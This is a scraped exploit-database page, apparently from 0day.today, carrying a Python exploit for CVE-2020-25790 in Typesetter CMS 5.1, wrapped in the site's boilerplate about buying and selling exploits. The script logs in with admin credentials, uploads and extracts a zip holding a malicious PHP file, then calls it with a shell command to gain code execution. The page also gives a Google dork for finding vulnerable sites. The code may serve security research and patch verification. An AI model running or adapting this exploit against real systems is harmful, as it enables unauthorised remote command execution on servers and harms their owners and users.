0day.today - Biggest Exploit Database in the World.

Select your language:

Things you should know about 0day.today:

We use one main domain: http://0day.today
Most of the materials is completely FREE
If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD

We accept currencies: [contact admin to find more]

We don't want you to use our site as a tool for hacking purposes, so any kind of action that could affect illegaly other users or websites that you don't have right to access will be banned and your account including your data will be destroyed.

Administration of this site uses the official contacts. Beware of impostors!

We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!

I am registered user of 0day.today. I don't want to see this screen in future.

What to do first?

Read the [ agreement ]
Read the [ Submit ] rules
Visit the [ faq ] page
[ Register ] profile
Get [ GOLD ]
If you want to [ sell ]
If you want to [ buy ]
If you lost [ Account ]
Any questions [ admin@0day.today ]

Main links

You can contact us by

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

[ authorization ] [ registration ] [ restore account ]

You can contact us by:

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

Typesetter CMS 5.1 - Arbitrary Code Execution (Authenticated) Exploit

Author

Rodolfo Tavares

Risk

[

Security Risk Critical

]

0day-ID

Category

Date add

CVE

Platform

# Exploit Title: Typesetter CMS 5.1 - Arbitrary Code Execution
# Exploit Author: Rodolfo "t0gu" Tavares
# Contact: @t0guu (TW)
# Software Homepage: https://www.typesettercms.com/
# Version : 5.1
# Tested on: Linux / Apache
# Category: WebApp
# Google Dork: intext:"Powered by Typesetter"
# Date: 2020-09-29
# CVE : CVE-2020-25790

######## Description ########
#
# The CMS Typesetter has functionality (web interface) where it is possible
# through an account with privileges to perform uploads. Through this
# functionality, it is possible to upload a .zip file that contains a
# malicious .php file. In the same functionality, there is also the
# possibility to extract the file through the same web interface, the
# attacker only needs to extract the .zip that was previously loaded and
# click on the malicious .php file to execute commands in the operating
# system.
#

######## Exploit with Poc ########


https://github.com/t0gu/CVE-2020-25790

####### Code #######


# see the poc at https://github.com/t0gu/CVE-2020-25790

import argparse
from bs4 import BeautifulSoup
import requests
import sys
import  re


import urllib3
from urllib3.exceptions import InsecureRequestWarning

banner = """ 

 
 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗  ██████╗       ██████╗ ███████╗███████╗ █████╗  ██████╗ 
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔═████╗      ╚════██╗██╔════╝╚════██║██╔══██╗██╔═████╗
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝██║██╔██║█████╗ █████╔╝███████╗    ██╔╝╚██████║██║██╔██║
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ████╔╝██║╚════╝██╔═══╝ ╚════██║   ██╔╝  ╚═══██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝      ███████╗███████║   ██║   █████╔╝╚██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝       ╚══════╝╚══════╝   ╚═╝   ╚════╝  ╚═════╝ 
                                                                                                                                                                                                                    
by: t0gu


usage: main.py [-h] -p PASSWORD -l LOGIN -u URL

==> Exploit for CVE 2020-25790

optional arguments:
  -h, --help            show this help message and exit
  -p PASSWORD, --password PASSWORD
                        ==> admin password
  -l LOGIN, --login LOGIN
                        ==> admin login
  -u URL, --url URL     ==> main URL

  """

print(banner)
menu = argparse.ArgumentParser(description="==> Exploit for CVE 2020-25790")
menu.add_argument("-p", "--password", required=True, help="==> admin password")
menu.add_argument("-l", "--login", required=True, help="==> admin login")
menu.add_argument("-u", "--url", required=True, help="==> main URL")
menu.add_argument("-f", "--file", required=True, help="==> Malicous zip file with php file inside")
args = menu.parse_args()

login = args.login
password = args.password
url = args.url
file = args.file


PROXIES = proxies = {
    "http": "http://127.0.0.1:8080",
    "https": "https://127.0.0.1:8080",
}


class Exploit:

    def __init__(self, login, password, url, file):
        self.login = login
        self.password = password
        self.url = url
        self.user_agent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari"
        self.file = open(file, 'rb')

    def get_nounce(self):
        try:
            url = self.url + "/Admin"
            r = requests.get(url=url, headers={'User-Agent': self.user_agent}, timeout=3, verify=False)
            data = r.text
            soap_obj = BeautifulSoup(data, 'html.parser')
            for inp in soap_obj.find_all("input"):
                for v in inp:
                    nounce = v['value']
                    if nounce != None or nounce != "":
                        return nounce
        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
            print(f'==> Error {e}')

    def get_hash_folders(self):

        cookie_auth = self.get_cookies()
        hash_verified = self.get_verified()
        data_post = {'verified': hash_verified, 'cmd': 'open', 'target':'', 'init': 1, 'tree': 1}
        try:
            url = self.url + "/Admin_Finder"
            r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': cookie_auth}, timeout=10, verify=False)
            json_data = r.json()
            hash_dir = json_data['files'][2]['hash']
            return hash_dir
        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
            print(f'==> Error {e}')

    def get_cookies(self):

        nounce = self.get_nounce()
        if nounce:
            try:
                url = self.url + "/Admin"
                data_post = {'file': '', 'cmd': 'login', 'login_nonce': nounce, 'username': self.login, 'user_sha': '',
                             'password': self.password, 'pass_md5': '', 'pass_sha': '', 'pass_sha512': '',
                             'remember': 'on', 'verified': ''}
                r = requests.post(url=url, verify=False, timeout=3, data=data_post, allow_redirects=False,
                                  headers={'User-Agent': self.user_agent, 'Cookie': 'g=2'})
                cookie_admin = r.headers['Set-Cookie']
                cookie_name = cookie_admin.split(':')[0].split('=')[0]
                cookie_value = cookie_admin.split(':')[0].split('=')[1].split(';')[0]

                if cookie_name == None or cookie_name == "":
                    if cookie_value == None or cookie_value == "":
                        print("==> Something went wrong while login")
                else:
                    data = f"{cookie_name}={cookie_value};"
                    return data
            except (requests.exceptions.Timeout, requests.exceptions.BaseHTTPError) as e:
                print(f'==> Error while login {e}')

    def upload_zip(self):
        url = self.url + '/Admin_Finder'
        hash_verified = self.get_verified()
        hash_dir = self.get_hash_folders()
        auth_cookie = self.get_cookies()

        try:
            print(f"==> Uploading file: {self.file}")
            data = {'cmd': "upload", "target": hash_dir, "verified": hash_verified}
            r = requests.post(url=url, verify=False, timeout=10,
                              headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, data=data, files={'upload[]': self.file})
            hash_file = r.json()['added'][0]['hash']
            self.extract_file(auth_cookie, hash_file, hash_verified)
        except (requests.exceptions.HTTPError, requests.exceptions.Timeout) as e:
            print(f"==> Error while uploading {e}")


    def extract_file(self, auth_cookie, hash_file, hash_verified):
        data_post={'verified': hash_verified, 'cmd': 'extract', 'target': hash_file}
        try:
            url = self.url + "/Admin_Finder"
            r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)
            name_file = r.json()['added'][0]['name']
            print(f"==> All Hashes are collected from: {name_file}") 
            self.xpl(auth_cookie,name_file)
        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
            print(f'==> Error {e}')


    def xpl(self, auth_cookie, name_file):
        try:
            url = self.url + "/data/_uploaded/file/" + name_file + "?cmd=id"
            new_url = url.replace("index.php", "")
            print(f"==> Try to exploit: {new_url}")
            r = requests.get(url=new_url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)
            pattern = r'<pre>(.*?)</pre>'
            m = re.search(pattern, r.text.replace("\n", ""))
            if m is not None and m != "":
                print(f"==> Vulnerable: {m.group(1)}")
        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
            print(f'==> Error {e}')


    def get_verified(self):
        try:
            url = self.url + "/Admin/Uploaded"
            auth_cookie = self.get_cookies()
            r = requests.get(url=url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)
            data = r.text
            pattern_regex = r'"verified":"(.*)"}'
            m = re.search(pattern_regex, data)
            if m is not None or m != "":
                return m.group(1)

        except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
            print(f'==> Error {e}')

if __name__ == "__main__":
    obj = Exploit(login, password, url, file)
    obj.upload_zip()

#  0day.today [2024-11-16]  #

We DO NOT use Telegram or any messengers / social networks!

Please, beware of scammers!

Typesetter CMS 5.1 - Arbitrary Code Execution (Authenticated) Exploit

Report Error

Report Error